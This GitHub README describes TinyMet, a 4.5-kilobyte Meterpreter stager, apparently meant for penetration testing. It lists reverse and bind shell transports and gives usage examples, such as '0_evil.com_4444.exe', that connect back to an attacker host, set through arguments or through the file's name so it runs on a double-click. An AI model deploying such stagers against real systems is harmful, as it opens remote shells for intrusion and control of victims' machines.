

# GitHub - SherifEldeeb/TinyMet: A "tiny" meterpreter stager

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TinyMet is a tiny “4.5 kilobytes” flexible meterpreter stager, which supports multiple meterpreter transports, setting LPORT and LHOST during runtime.

Transport, LPORT and LHOST are set during runtime through either of the following:

- Command line arguments.
- Naming the .exe file in a special way.

## What's new in v0.2:

- Now tinymet can parse the Transport, LPORT and LHOST from its own filename through separating them by underscore
- Example: "0\_evil.com\_4444.exe" will use reverse\_tcp, LHOST=evil.com, LPORT=4444
- This makes tinymet more (double-click/payload-like/argument-less) friendly.

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Available transports are as follows:

- 0: reverse\_tcp
- 1: reverse\_http
- 2: reverse\_https
- 3: bind\_tcp

### Usage#1:

```
tinymet.exe TRANSPORT LHOST LPORT
```

Example:

```
"tinymet.exe 2 host.com 443" Will use reverse_https and connect to host.com:443
```

**Usage#2:** name the file using the following convention and run without args:

```
TRANSPORT_LHOST_LPORT.exe
```

Example:

```
Setting the filename to "2_host.com_443.exe" and running it without args will do exactly the same as Example#1.
```

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Source: <https://github.com/SherifEldeeb/TinyMet>